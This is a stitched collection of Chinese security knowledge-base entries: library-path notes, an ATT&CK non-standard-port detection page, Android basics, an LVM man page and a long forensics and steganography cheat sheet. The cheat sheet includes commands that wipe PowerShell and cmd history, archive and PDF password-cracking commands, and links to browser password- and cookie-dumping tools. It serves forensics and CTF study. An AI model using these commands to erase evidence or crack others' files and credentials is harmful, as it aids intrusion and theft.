- LD_LIBRARY_PATH=/home/dir/lib:/home/dir2/lib:
- LD_LIBRARY_PATH=/home/dir/lib;/home/dir2/lib:
- LD_LIBRARY_PATH=/home/dir/lib:/home/dir2/lib:;
所有的LD_LIBRARY_PATH中的目录只会在搜索完DT_RPATH才会进行搜索。尽管有一些程序(如链接编辑器)在处理;前后的列表的方式不同,但是动态链接器处理的方式完全一样,除此之外,动态链接器接受分号表示语法,正如上面所描述的样子。
- 最后,如果以上两组目录无法定位期望的库,则动态链接器搜索`/usr/lib` 路径下的库。
注意
> **为了安全性,对于`set-user` 以及 `set-group` 标识的程序,动态链接器忽略搜索环境变量(例如`LD_LIBRARY_PATH`),仅仅搜索`DT_RPATH`指定的目录和`/usr/lib`。**
|
sec-knowleage
|
# T1571-非标准端口
## 来自ATT&CK描述
攻击者可能使用通常不相关的协议和端口解析进行通信。例如,通过8088端口或587端口的HTTPS,而不是传统的443端口。攻击者可能对协议使用的标准端口进行修改,以绕过过滤或混淆对网络数据的分析/解析。
## 测试案例
## 检测日志
Netflow
## 测试复现
## 测试留痕
## 检测规则/思路
### 建议
分析数据包内容,以检测不遵循正常端口和通讯协议的通信行为。分析网络数据是否有不常见的数据流(例如,客户机发送的数据明显多于它从服务器收到的数据)。利用网络的进程,如果是通常没有网络通信或以前从未见过,则是可疑的。
## 参考推荐
MITRE-ATT&CK-T1571
<https://attack.mitre.org/techniques/T1571>
Atomic-red-team-T1571
<https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1571/T1571.md>
|
sec-knowleage
|
# 安全产品中的规则引擎
本篇主要学习、整理安全产品中不同的规则引擎。
## 汇总
// TODO
不同安全产品中的规则引擎:
| 产品名称 | 产品类型 | 规则引擎 | 检测原理 | | 数据处理 | |
| ------------- | ------------ | ---------------- | -------- | ---- | -------- | ---- |
| Suricata | NIDS | Suricata | | | | |
| Zeek | | | | | | |
| | | | | | | |
| SecurityOnion | IDS+HIDS+SOC | sigma+yara+snort | | | | |
不同规则引擎的特征:
| 引擎名称 | 适用场景 | 适用数据 | 检测原理 | 项目链接 | 特点 |
| -------- | -------------------------------- | -------- | -------- | ----------------------------------------- | ---- |
| sigma | 采集并需要处理多源异构的日志信息 | 日志文件 | | [sigma](https://github.com/SigmaHQ/sigma) | |
| | | | | | |
| | | | | | |
|
sec-knowleage
|
# Android 开发基础
在做 Android 安全之前,我们应该尽可能地了解 Android 开发的基本流程。
## 基础知识
依次阅读以下书籍,由浅入深地了解 Android 基本开发知识
- 第一行代码,阅读完前七章即可
- JNI/NDK 开发,目前尚未找到一本相关合适的指南。
- Android 编程权威指南(可选)
- Android 高级进阶(可选)
在学习的过程中,个人觉得需要着重了解 Android 开发中如下知识
- Android 系统架构
- 基本源文件架构
- 基本开发方式与代码编写惯例,了解常见代码的意思。
- 了解 xml 等一些配置资源的文件格式。
**一定要搭好基本的 Android 开发环境!!!!!**
- java
- ddms
- ndk
- sdk,多安装几个版本的 sdk,5.0-8.0
## Apk 打包流程
当编写完 App 相关的代码后,我们的最后一步就是将 App 中所有使用到的资源文件进行打包,打包流程如下图(<u>http://androidsrc.net/android-app-build-overview/</u>)所示:
具体的操作如下
1. 使用 aapt( The Android Asset Packing Tool ) 对资源文件进行打包,生成 R.java 文件。
2. 如果项目中使用到了 AIDL(Android Interface Definition Language)提供的服务,则需要使用 AIDL 工具解析 AIDL 接口文件生成相应的 Java 代码。
3. 使用 javac 将 R.java 和 AIDL 文件编译为 .class 文件。
4. 使用 dx 工具将 class 和第三方的 library 转换为 dex 文件。
5. 利用 apkbuilder 将第一步编译后的资源、第四步生成的 .dex 文件,以及一些其它资源打包到 APK 文件中。
6. 这一部主要是对 APK 进行签名。可以分为两种情况,如果我们是要发布 App,那就采用 RealeaseKeystore 签名;反之,我们如果只是想要对 App 进行调试,那就使用 debug.keystore 签名。
7. 在发布正式版之前,我们需要将 APK 包中资源文件距离文件的起始偏移修改为 4 字节的整数倍数,这样,在之后运行 App 的时候,速度会比较快。
## Apk 文件结构
APK 文件也是一种 ZIP 文件。因此,我们可以使用解压 zip 的工具来对其进行解压。一个典型的 APK 文件的结构如下图所示。其中,关于每一部分的介绍如下
- AndroidManifest.xml
- 该文件主要用于声明应用程序的名称,组件,权限等基本信息。
- class.dex
- 该文件是 dalvik 虚拟机对应的可执行文件,包含应用程序的可执行代码。
- resource.arsc
- 该文件主要是应用程序编译后的二进制资源以及资源位置与资源 id 之间的映射关系,如字符串。
- assets
- 该文件夹一般用于包含应用程序的原始资源文件,例如字体和音乐文件。程序在运行的时候,可以通过API 获取这些信息。
- lib/
- lib目录下主要用于存储通过 JNI(Java Native Interface)机制使用的本地库文件,并且会按照其支持的架构,分别创建对应的子目录。
- res/
- 该目录主要包含了 Android 应用引用的资源,并且会按照资源类型进行存储,如图片,动画,菜单等。主要还有一个 value 文件夹,包含了各类属性资源
- colors.xml-->颜色资源
- dimens.xml--->尺寸资源
- strings--->字符串资源
- styles.xml-->样式资源
- META-INF/
- 类似于 JAR 文件,APK 文件中也包含了 META-INF 目录,用于存放代码签名等文件,以便于用来确保 APK 文件不会被人随意修改。
|
sec-knowleage
|
pvchange
===
修改物理卷属性
## 补充说明
**pvchange命令** 允许管理员改变物理卷的分配许可。如果物理卷出现故障,可以使用pvchange命令禁止分配物理卷上的PE。
### 语法
```shell
pvchange(选项)(参数)
```
### 选项
```shell
-u:生成新的UUID;
-x:是否允许分配PE。
```
### 参数
物理卷:指定要修改属性的物理卷所对应的设备文件。
### 实例
使用pvchange命令禁止分配指定物理卷上的PE。在命令行中输入下面的命令:
```shell
pvchange -x n /dev/sdb1 #禁止分配"/dev/sdb1"上的PE
```
输出信息如下:
```shell
Physical volume "/dev/sdb1" changed
1 physical volume changed / 0 physical volumes not changed
```
|
sec-knowleage
|
# 取证
<p align="center">
<img src="../../../assets/img/Security/BlueTeam/取证/3.png">
</p>
> 注 : 笔记中拓扑图 xmind 源文件在其图片目录下
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
## 大纲
* **[数据恢复](#数据恢复)**
* **[操作系统取证](#操作系统取证)**
* [Android](#android)
* [Windows](#windows)
* [Linux](#linux)
* **[文件取证](#文件取证)**
* [压缩包](#压缩包)
* [爆破压缩包](#爆破压缩包)
* [伪加密](#伪加密)
* [明文攻击](#明文攻击)
* [CRC32碰撞](#crc32碰撞)
* [视频](#视频)
* [Deegger_Embedder](#deegger_embedder)
* [图片](#图片)
* [png](#png)
* [LSB隐写](#lsb隐写)
* [jpg](#jpg)
* [GIF](#gif)
* [exif](#exif)
* [Steghide](#steghide)
* [PixelJihad](#pixeljihad)
* [盲水印](#盲水印)
* [音频](#音频)
* [deepsound](#deepsound)
* [LSB音频隐写](#LSB音频隐写)
* [sstv音频图像](#sstv音频图像)
* [DTMF拨号音识别](#DTMF拨号音识别)
* [文本](#文本)
* [电子文档](#电子文档)
* [Office](#Office)
* [爆破Office加密](#爆破Office加密)
* [PDF](#pdf)
* [爆破PDF加密](#爆破PDF加密)
* [html](#html)
* **[网络取证](#网络取证)**
* [流量分析](#流量分析)
* [TTL隐写](#TTL隐写)
* **[USB取证](#USB取证)**
* **[蓝牙取证](#蓝牙取证)**
* **[磁盘取证](#磁盘取证)**
* **[内存取证](#内存取证)**
* **[应用程序取证](#应用程序取证)**
* [浏览器取证](#浏览器取证)
* [其他软件](#其他软件)
* **[WEB取证](#WEB取证)**
* [中间件配置](#中间件配置)
* [中间件服务器程序日志](#中间件服务器程序日志)
* [常见web服务日志](#常见web服务日志)
* **[数据库取证](#数据库取证)**
* [mysql](#mysql)
* [mssql](#mssql)
* [Oracle](#oracle)
---
**相关文章**
- [暗网取证研究](https://mp.weixin.qq.com/s/_kObp0peUyajqnDACJDlqg)
---
## 数据恢复
**常用软件**
- [recuva](https://www.ccleaner.com/recuva)
- [DiskGenius](https://www.diskgenius.cn/)
**tips**
- 第一时间关闭服务或关机,因为运行的系统会持续覆盖磁盘
- 需要更专业的数据恢复能力,建议找做数据恢复的公司,效果比软件恢复会好很多
---
## 操作系统取证
**相关文章**
- [关键证据检索提取-系统共享检查](https://mp.weixin.qq.com/s/5nVnXMTPIpAu59bycwu5Iw)
- [关键证据检索提取-防火墙规则检查](https://mp.weixin.qq.com/s/MQbyphGTAF-IvKYG6IFuxg)
### Android
### Windows
- [Windows加固+维护+应急响应参考](../../Integrated/Windows/Secure-Win.md)
**通用取证工具**
- [The Sleuth Kit (TSK)](https://www.sleuthkit.org/) - 一套强大的数字调查、取证工具集合
**系统日志**
- 本部分内容见 [Secure-Win](../../Integrated/Windows/Secure-Win.md#日志) 日志部分
**DNS**
- 本部分内容见 [Secure-Win](../../Integrated/Windows/Secure-Win.md#dns) DNS 部分
**动作记录**
- 相关文章
- [powershell历史运行命令取证](https://blog.m1kh.com/index.php/archives/425/)
- 相关工具
- [Device Cleanup Tool](https://www.uwe-sieber.de/misc_tools_e.html) - 查看电脑连接过的设备
- [LastActivityView](https://www.nirsoft.net/utils/computer_activity_view.html) - 最近你干什么了
- [OpenSaveFilesView](https://www.nirsoft.net/utils/open_save_files_view.html) - 显示文件打开、保存记录
- [TurnedOnTimesView](https://www.nirsoft.net/utils/computer_turned_on_times.html) - 快速查看系统开关机时间
- [uknowsec/loginlog_windows](https://github.com/uknowsec/loginlog_windows) - 读取登录过本机的登录失败或登录成功的所有计算机信息
- 剪切板内容
```powershell
# 获取剪切板文本内容(只能获取当前复制内容)
powershell get-clipboard
# 获取文件内容(非文本类型)
powershell Get-Clipboard -format FileDropList
```
- 便签信息
```
win7中存储路径:
C:\Users\username\AppData\Roaming\Microsoft\Sticky Notes\StickyNotes\
win10中存储路径:
C:\Users\username\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\p
lum.sqlite
```
- 代理信息
```
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer
```
- 历史命令
- powershell 历史命令记录 : `%appdata%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt`
```powershell
# 查看存放位置
Get-PSReadlineOption
powershell Get-PSReadlineOption
```
```powershell
# 查看存放位置2
Get-History
Get-History | Format-List -Property *
```
```powershell
# 直接查看 powershell 历史命令
powershell Get-Content (Get-PSReadlineOption).HistorySavePath
# 清除 powershell 历史记录
powershell Remove-Item (Get-PSReadlineOption).HistorySavePath
```
- cmd 历史记录
```bash
# 直接查看 cmd 历史命令
doskey /h
# 清除 cmd 历史记录
doskey /reinstall
```
**RDP**
- 本部分内容见 [Windows 安全](../RedTeam/OS安全/Windows安全.md#rdp)
**BitLocker**
- 本部分内容见 [Windows 安全](../RedTeam/OS安全/Windows安全.md#bitlocker)
**认证**
- 本部分内容见 [Windows 安全](../RedTeam/OS安全/Windows安全.md#认证)
**蓝牙**
- 相关工具
- [bluetoothview](https://www.nirsoft.net/utils/bluetooth_viewer.html) - 监控周围的蓝牙设备
**无线**
- 相关工具
- [wifihistoryview](https://www.nirsoft.net/utils/wifi_history_view.html) - Wi-Fi 连接历史记录
- [wirelesskeyview](https://www.nirsoft.net/utils/wireless_key.html)- 查看本地 wifi 密码
**NTFS 记录**
- 相关工具
- [jschicht/UsnJrnl2Csv](https://github.com/jschicht/UsnJrnl2Csv)
**ntfs 数据流**
- 相关工具
- NtfsStreamsEditor
- Tips
- 如果使用 7z 进行解压,无法进行恢复 !!!! 建议使用 winrar 解压
**注册表**
- 相关工具
- RegJump - 注册表快速跳转工具
- RegCool - 注册表管理工具
### Linux
- [日志](../../Integrated/Linux/笔记/日志.md)
- [Linux基本信息查询命令](../../Integrated/Linux/笔记/信息.md)
- [Linux加固+维护+应急响应参考](../../Integrated/Linux/Secure-Linux.md)
**相关文章**
- [linux应急响应手册](https://blog.m1kh.com/index.php/archives/61/)
**unhide**
Linux 取证工具,能够发现那些借助 rootkit、LKM 及其它技术隐藏的进程和 TCP/UDP 端口。
```bash
apt-get install unhide
或
yum install unhide
unhide [options] test_list
unhide proc
unhide sys
unhide quick
```
---
## 文件取证
**文件取证常用工具**
- [binwalk](https://github.com/ReFirmLabs/binwalk) - 固件分析工具
- kali 自带, 递归提取 `binwalk -Me xxx.bin`
- foremost - 文件分离工具 - 有时 binwalk 跑不出来可以试试,挺好用的
- kali 不一定自带, `foremost -i 1.png`
- strings
```bash
strings start.bin | grep -a "pass"
strings .* | grep -a "root"
strings -o start.bin # 获取所有 ASCII 字符偏移
```
**相关文章**
- [CTF-MISC隐写总结](https://www.freebuf.com/articles/others-articles/266884.html)
**CTF writup**
- [OpenToAll CTF2015 - Gone (Forensics) ](https://ctf.rip/opentoall-ctf2015-gone-forensics/) - 知识点 : ext4修复+AES解密
- [write-ups-2015/opentoall-ctf-2015/forensics/gone at master](https://github.com/ctfs/write-ups-2015/tree/master/opentoall-ctf-2015/forensics/gone) - 同上
### 压缩包
**相关文章**
- [ctf-wiki/zip.md at master · ctf-wiki/ctf-wiki](https://github.com/ctf-wiki/ctf-wiki/blob/master/docs/misc/archive/zip.md)
- [【CTF 攻略】CTF比赛中关于zip的总结](https://www.anquanke.com/post/id/86211)
- [给你压缩包却不给你密码的人到底在想什么](https://veritas501.space/2017/06/23/%E7%BB%99%E4%BD%A0%E5%8E%8B%E7%BC%A9%E5%8C%85%E5%8D%B4%E4%B8%8D%E7%BB%99%E4%BD%A0%E5%AF%86%E7%A0%81%E7%9A%84%E4%BA%BA%E5%88%B0%E5%BA%95%E5%9C%A8%E6%83%B3%E4%BB%80%E4%B9%88/)
- [RAR文件格式分析](https://sp4n9x.github.io/2020/04/10/RAR%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F%E5%88%86%E6%9E%90/)
#### 爆破压缩包
**相关工具**
- [Hashcat](../安全工具/Hashcat.md#爆破压缩包)
- [pyrofex/breakzip](https://gitlab.com/pyrofex/breakzip) - 用于破解使用弱加密的加密压缩文件的实用工具。
- archpr(Advanced Archive Password Recovery) - 一个灵活的,适用于 ZIP 和 RAR 档案的高度优化的口令恢复工具。
- Ziperello - zip 爆破工具
- fcrackzip
```bash
fcrackzip -v -u -D -p rockyou.txt sample.zip
# -u : use-unzip 有助于误报
# -D : 选择字典模式
# -p : 选择字典文件
# -v : 详细
```
- rarcrack - 支持爆破 rar、zip、7z 三种类型
```bash
apt install -y rarcrack
rarcrack aaa.rar --threads 50 --type rar
rarcrack aaa.7z --threads 50 --type 7z
```
- [cRARk for 7-Zip](http://www.crark.net/crark-7zip.html)
- hashcat、John the Ripper
- [7z2hashcat](https://github.com/philsmd/7z2hashcat) - 从受密码保护的.7z存档(和.sfx文件)中提取信息
```bash
# 7z2hashcat.pl 比 7z2john.pl 好用
```
- [john](https://github.com/openwall/john)
#### 伪加密
**相关工具**
- ZipCenOp
**相关文章**
- [关于压缩包伪加密的相关问题](https://mochu.blog.csdn.net/article/details/120151522)
**zip**
- 50 4B 03 04 为数据区头文件标记,这里 deFlags 位改为 09 00 可变成伪加密
- 50 4B 01 02 为目录区头文件标记,后面的 deFlags 是加密标记,将 00 00 改为 09 00 可变成伪加密
- 50 4B 05 06 为目录区结束文件标记
**rar**
伪加密只发生在 RAR5.0 以前的版本中
在 RAR 的第 24 个字节,也就是 010 Editor 显示的文件结构中的 ubyte PASSWORD_ENCRYPTED 字段,修改其字段为 1 即可实现 RAR 伪加密
或者修改第11个字节,也就是010 Editor显示的文件结构中的ubyte BLOCK_HEADERS_ENCRYPTED字段的值。修改为1即可造成RAR伪加密。
#### 明文攻击
- [ZIP明文攻击](./实验/ZIP明文攻击.md)
#### CRC32碰撞
CRC32:CRC 本身是 “冗余校验码” 的意思,CRC32 则标识会产生一个 32bit(8 位十六进制)的校验值。
CRC 校验实用程序库,在数据存储和数据通讯领域,为了保证数据的正确,就不得不采用检错的手段。
在诸多检错手段中,CRC 是最著名的一种。CRC 的全称是循环冗余校验。
在产生 CRC32 时,源数据块的每一位都参与了运算,因此即使数据块中只有一位发生改变也会得到不同的 CRC32 值,利用这个原理我们可以直接爆破出加密文件中的内容。
每个文件都有唯一的 CRC32 值,即便数据中一个 bit 发生变化,也会导致 CRC32 值不同。若是知道一段数据的长度和 CRC32 值,便可穷举数据,与其 CRC32 对照,以此达到暴力猜解的目的。但限于 CPU 的能力,通常只适用于较小文本文件。
**相关工具**
- [theonlypwner/crc32](https://github.com/theonlypwner/crc32)
```
python crc32.py reverse crc32密文(16进制形式)
```
---
### 视频
**分析工具**
- [kinovea](https://www.kinovea.org/) - 帮助捕获、放慢速度、研究、比较、注释。
#### Deegger_Embedder
**相关工具**
- [DeEgger Embedder](http://www.zasi.org/DeEgger-Embedder.php)
---
### 图片
**相关文章**
- [CTF中常见图片隐写](http://zjw.dropsec.xyz/uncategorized/2016/08/18/CTF%E4%B8%AD%E5%B8%B8%E8%A7%81%E5%9B%BE%E7%89%87%E9%9A%90%E5%86%99.html)
- [隐写术总结](http://drops.xmd5.com/static/drops/tips-4862.html)
- [Steganography](http://datagenetics.com/blog/march12012/index.html)
- [misc-stegaBasic](https://www.jianshu.com/p/fe7a5fff2a95)
**在线分析工具**
- [Forensically, free online photo forensics tools](https://29a.ch/photo-forensics/)
**隐写分析工具**
- Stegsolve - 隐写图片查看的利器
* [stegsolve使用方法](https://www.cnblogs.com/cat47/p/11483478.html)
* File Format:文件格式
* Data Extract:数据提取
* Steregram Solve:立体视图 可以左右控制偏移
* Frame Browser:帧浏览器
* Image Combiner:拼图,图片拼接
- [stegosuite](https://stegosuite.org/) - 一个用 Java 编写的免费和开源的图片隐写工具。使用 Stegosuite,你可以轻松地隐藏图像文件中的信息。
- [zsteg](https://github.com/zed-0xff/zsteg) - 图片隐写信息快速检测工具,可以检测PNG和BMP图片里的隐写数据。
```bash
gem install zsteg
zsteg 1.png --all
```
- [bannsec/stegoVeritas](https://github.com/bannsec/stegoVeritas)
```bash
pip3 install stegoveritas
stegoveritas_install_deps
stegoveritas test.png
```
- OurSecret
**writup**
- [[IceCTF 2016] [Stega 100 - Pretty Pixels] Write Up](https://0x90r00t.com/2016/08/26/icectf-2016-stega-100-pretty-pixels-write-up/) - 知识点 : 图片隐写
- [CTF 图像隐写Python脚本处理](https://mp.weixin.qq.com/s/hTtMn53H4PbrK-7x_Ff2_w)
**Tips**
- exif 信息
- 十六进制下搜文件头 `89504E47` 搜文件头数据块 `IHDR`
- strings 查看可见字符
- 有些会修改图片宽高,直接010打开改大点试试
- 2张图试试 xor
- crc
- http://www.ip33.com/crc.html
---
#### png
**png文件分析工具**
- [pngcheck](http://www.libpng.org/pub/png/apps/pngcheck.html)
##### LSB隐写
> LSB(英文 least significant bit)即最低有效位,位于二进制数的最右侧。图像的每一个像素点都是由 RGB(红、绿、蓝)三原色组成,每个颜色占8位(如#FFFFFF)。由于修改最后1位对人眼不敏感,这样一个像素点就可以携带3位信息。应用 LSB 算法的图像格式需为无损压缩数据格式,例如图像中的 bmp、png 格式和音频的 wav 格式。
修改十进制中的最低位,颜色看起来几乎没有变化,我们就可以修改最低位的信息,实现隐写。
**LSB 隐写专用工具**
- [livz/cloacked-pixel](https://github.com/livz/cloacked-pixel) - LSB 隐写和检测
```bash
python2 lsb.py extract samples/orig.jpg-stego.png out p@$5w0rD
```
- [RobinDavid/LSB-Steganography](https://github.com/RobinDavid/LSB-Steganography) - 使用最低有效位将隐写文件转换为图像。
```bash
python3 LSBSteg.py decode -i <input> -o <output>
```
**相关文章**
- [隐写技巧——PNG文件中的LSB隐写](https://3gstudent.github.io/%E9%9A%90%E5%86%99%E6%8A%80%E5%B7%A7-PNG%E6%96%87%E4%BB%B6%E4%B8%AD%E7%9A%84LSB%E9%9A%90%E5%86%99/)
---
#### jpg
**jpg文件分析工具**
- [JPHS](http://io.acad.athabascau.ca/~grizzlie/Comp607/programs.htm)
**隐写工具**
- [Silenteye](https://achorein.github.io/silenteye/)
- [matthewgao/F5-steganography](https://github.com/matthewgao/F5-steganography)
```bash
# 加密
java Embed lopez.bmp lopez.jpg -c "" -e bin.noise -p pleasechangethispassphrasetoyourown
# 解密
java Extract 123456.jpg -p [password]/[空]
```
- [FreeFileCamouflage](http://www.myportablesoftware.com/freefilecamouflage.aspx)
- [crorvick/outguess](https://github.com/crorvick/outguess)
```bash
git clone https://github.com/crorvick/outguess
cd outguess
./configure && make && make install
# 加密
outguess -k "my secret key" -d hidden.txt demo.jpg out.jpg
# 解密
outguess -k "my secret key" -r out.jpg hidden.txt
outguess -r out.jpg hidden.txt
```
- [resurrecting-open-source-projects/outguess](https://github.com/resurrecting-open-source-projects/outguess)
---
#### GIF
**分割每一帧**
```bash
convert test.gif out.png
```
**分析每一帧的时间间隔**
```bash
apt install graphicsmagick-imagemagick-compat
identify -format "%s %T \n" test.gif
```
**横向合成**
```bash
montage flag*.png -tile x1 -geometry +0+0 a.png
# -tile 是拼接时每行和每列的图片数,这里用 x1,就是只一行
# -geometry 是首选每个图和边框尺寸,我们边框为 0,图照原始尺寸即可
# * 的意思指的所有的. png
```
---
#### exif
> 可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。Exif信息是可以被任意编辑的,因此只有参考的功能。
**相关文章**
- [Explainer: how law enforcement decodes your photos](http://theconversation.com/explainer-how-law-enforcement-decodes-your-photos-78828) - 作者描述了关于数字调查者如何拆解数码照片,寻找关于制造和模型线索的过程。
**相关工具**
- [ExifTool](https://www.sno.phy.queensu.ca/~phil/exiftool/) - 用于读取,写入和编辑各种文件中的 exif 信息的工具
```bash
exiftool xxx.jpg
```
- [EXIF信息查看器](https://exif.tuchong.com/)
- [ExifShot App](https://exifshot.com/app/)
- [如何为老照片添加 Exif 日期数据?](https://www.appinn.com/how-to-add-exif-date-for-old-picture/)
---
#### Steghide
- [steghide](http://steghide.sourceforge.net/)
```bash
apt-get install steghide
steghide info x.jpg # 查看图片中的嵌入信息
steghide extract -sf x.jpg -p password # 提取信息
steghide embed -cf x.jpg -ef xxx.txt -p password # 隐藏信息
```
#### PixelJihad
- [PixelJihad](https://github.com/oakes/PixelJihad) - 一个 JavaScript 隐写工具
- http://tools.jb51.net/aideddesign/img_add_info
---
#### 盲水印
一般是给2张相同的图片的场景
- [chishaxie/BlindWaterMark](https://github.com/chishaxie/BlindWaterMark)
```bash
python2 bwm.py decode hui.png hui_with_wm.png wm_from_hui.png
```
---
### 音频
**音频隐写通用工具**
- [Detect DTMF Tones](http://dialabc.com/sound/detect/index.html) - 分析音频录音,并提供一些统计数字、图表和表格,显示数据中包含了哪些 DTMF 音调,以及在哪里。
- [Audacity](https://sourceforge.net/projects/audacity/) - 一款易于使用的多轨音频编辑器和记录器
- [MP3stego](https://www.petitcolas.net/steganography/mp3stego/) - MP3Stego 将在压缩过程中隐藏 MP3 文件中的信息。
```bash
decode.exe -X test.mp3 -P test
```
- morse2ascii - 分析音频中的莫斯电码(虚拟机里需要有声音)
```bash
apt-get install morse2ascii
morse2ascii xxx.wav
```
**CTF writup**
- [音频隐写 MP3stego+wav隐写+题目](https://m3tar.github.io/2017/08/20/%E9%9F%B3%E9%A2%91%E9%9A%90%E5%86%99-MP3stego-wav%E9%9A%90%E5%86%99-%E9%A2%98%E7%9B%AE/) - MP3stego+频谱图+猪圈密码
**Tips**
- 将波形进一步转化为 01 字符串试试
- 音频中的频谱隐写是将字符串隐藏在频谱中,此类音频通常会有一个较明显的特征,听起来是一段杂音或者比较刺耳。
#### deepsound
- https://deepsound.en.uptodown.com/windows
#### LSB音频隐写
- [Silenteye](https://achorein.github.io/silenteye/) - 针对 wav 文件的隐写
#### sstv音频图像
- 相关工具
- [RX-SSTV](http://users.belgacom.net/hamradio/rxsstv.htm)
- 如果无虚拟输入源,需要下载安装一个 https://vac.muzychenko.net/cn/download.htm
#### DTMF拨号音识别
- 相关工具
- [dtmf2num](https://aluigi.altervista.org/mytoolz.htm#dtmf2num)
```
dtmf2num.exe test.wav
```
---
### 文本
**Unicode Text Steganography**
- [Unicode Text Steganography Encoders/Decoders](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)
- [Unicode Steganography with Zero-Width Characters](https://330k.github.io/misc_tools/unicode_steganography.html)
---
### 电子文档
**相关文章**
- [Misc 总结 ----隐写术之电子文档隐写](https://xz.aliyun.com/t/1883)
#### Office
**相关文章**
- [PowerPoint — What data is beneath the surface?](https://medium.com/@osint/owerpoint-what-data-is-beneath-the-surface-2eb000ef95fb) - 介绍了几种在ppt中隐藏图片的小技巧
- [如何从 Microsoft Office 文档中完全删除那些暴露你身份的元数据?](https://www.iyouport.org/%e5%a6%82%e4%bd%95%e4%bb%8e-microsoft-office-%e6%96%87%e6%a1%a3%e4%b8%ad%e5%ae%8c%e5%85%a8%e5%88%a0%e9%99%a4%e9%82%a3%e4%ba%9b%e6%9a%b4%e9%9c%b2%e4%bd%a0%e8%ba%ab%e4%bb%bd%e7%9a%84%e5%85%83%e6%95%b0/)
**word 隐藏文本**
- 文件->选项->显示->勾选隐藏文字
**word、xml 转换**
- 提取信息时,将 word 转化成 xml,查看额外信息
- .doc -> 后缀改为.zip -> 解压 ->.xml
##### 爆破Office加密
**相关工具**
- [Hashcat](../安全工具/Hashcat.md#爆破office)
**破解 ppt**
- 相关工具
- Advanced Office Password Recovery
#### PDF
**PDF 隐写取证工具**
- [PDF Parser](https://github.com/smalot/pdfparser)
- [Demo | PDF Parser](https://www.pdfparser.org/demo)
- [jesparza/peepdf](https://github.com/jesparza/peepdf)
- [wbStego4.3open](http://www.bailer.at/wbstego/pr_4ix0.htm) - BMP、RLE、TXT、ASC、XML、PDF、HTML 格式都有可能
- wbStego4open 会把插入数据中的每一个 ASCII 码转换为二进制形式,然后把每一个二进制数字再替换为十六进制的 20 或者 09,20 代表 0,09 代表 1。这些转换后的十六进制数据被嵌入到 PDF 文件中。查看用 wbStego4open 修改后的文件内容,会发现文件中已混入了很多由 20 和 09 组成的 8 位字节。
- pdfinfo - kali 自带
```bash
# pdf属性
pdfinfo test.pdf
# 查看pdf隐藏文本
pdftotext test.pdf
```
**CTF writup**
- [[XDCTF](MISC)OWASP](https://www.jianshu.com/p/3aaa632ebfea)
**Tips**
* 不可见的图层
* Adobe 的元数据格式‘XMP’
* Adobe 的 XMP 元数据
* PDF 的‘增量生成’功能允许保留用户不可见的前版本信息
* 白色的文字或背景图
* 图片背后的文字信息
* 图层后面被覆盖的另一个图层
* 不显示的注释层。
##### 爆破PDF加密
**相关文章**
- [使用pdfcrack破解PDF密码(Linux)](http://topspeedsnail.com/crack-pdf-password-use-pdfcrack/)
- [PDF文件密码破解](https://mp.weixin.qq.com/s/EH7Z_mJvuWxtbQdcXf3h4w)
**获取 hash**
- [PDF hash Extractor - instantly](https://www.onlinehashcrack.com/tools-pdf-hash-extractor.php)
- john 的脚本
```bash
cd /usr/share/john/
./pdf2john.pl xxx.pdf
```
**相关工具**
- [Hashcat](../安全工具/Hashcat.md#爆破pdf文件)
#### html
**snow隐写**
- http://fog.misty.com/cgi/snow
---
## 网络取证
**tcpdump 常用**
```bash
tcpdump -n -r test.pcapng
```
**tshark 常用**
```bash
tshark -r test.pcap -T fields -e data > out.txt
```
**去重**
```
cat out.txt | uniq > out2.txt
```
### 流量分析
- 内容见 [流量分析](./实验/流量分析.md)
### TTL隐写
IP 报文在路由间穿梭的时候每经过一个路由,TTL 就会减 1,当 TTL 为 0 的时候,该报文就会被丢弃。
TTL 所占的位数是 8 位,也就是 0-255 的范围,但是在大多数情况下通常只需要经过很小的跳数就能完成报文的转发,
远远比上限 255 小得多,所以我们可以用 TTL 值的前两位来进行传输隐藏数据。
如:须传送 H 字符,只需把 H 字符换成二进制,每两位为一组,每次填充到 TTL 字段的开头两位并把剩下的 6 位设置为 1(xx111111),这样发 4 个 IP 报文即可传送 1 个字节。
TTL隐写中用到四个值:00 111111(63),01 111111(127),10 111111(191),11 111111(255),解密的时候只取前两位,然后转换成ascii
**CTF Writeup**
- [[SWPU2019]Network](https://www.cnblogs.com/yunqian2017/p/14671031.html)
---
## USB取证
- 内容见 [USB取证](./笔记/USB取证.md)
---
## 蓝牙取证
---
## 磁盘取证
- 内容见 [磁盘取证](./笔记/磁盘取证.md)
---
## 内存取证
- 内容见 [内存取证](./笔记/内存取证.md)
---
## 应用程序取证
**相关文章**
- [内网软件密码离线解密](https://mp.weixin.qq.com/s/l6rSLBrluAkRrB0rYPcdLg)
### 浏览器取证
**相关工具**
- [obsidianforensics/hindsight](https://github.com/obsidianforensics/hindsight) - chrome历史访问记录取证工具(真是不给人留条活路)
- [x899/chrome_password_grabber](https://github.com/x899/chrome_password_grabber) - 从 Chrome 获取未加密的“保存的密码”
- [m0rv4i/SharpCookieMonster](https://github.com/m0rv4i/SharpCookieMonster) - 从 Chrome 中提取 cookie
- [djhohnstein/SharpChromium](https://github.com/djhohnstein/SharpChromium) - 用于从 Chromium 系列浏览器中获取 Cookie、访问历史、网站登录凭据等敏感信息的工具
- [QAX-A-Team/BrowserGhost](https://github.com/QAX-A-Team/BrowserGhost) - 一个抓取浏览器密码的工具
- [wekillpeople/browser-dumpwd](https://github.com/wekillpeople/browser-dumpwd) - 使用 sqlite3 lib 转储浏览器密码(chrome,firefox)。
- [moonD4rk/HackBrowserData](https://github.com/moonD4rk/HackBrowserData) - 一款可全平台运行的浏览器数据导出解密工具。
- [SD-XD/Catch-Browser](https://github.com/SD-XD/Catch-Browser) - This is a crawler password tool
- [hayasec/360SafeBrowsergetpass](https://github.com/hayasec/360SafeBrowsergetpass) - 一键辅助抓取360安全浏览器密码的CobaltStrike脚本以及解密小工具
---
### 其他软件
**相关工具**
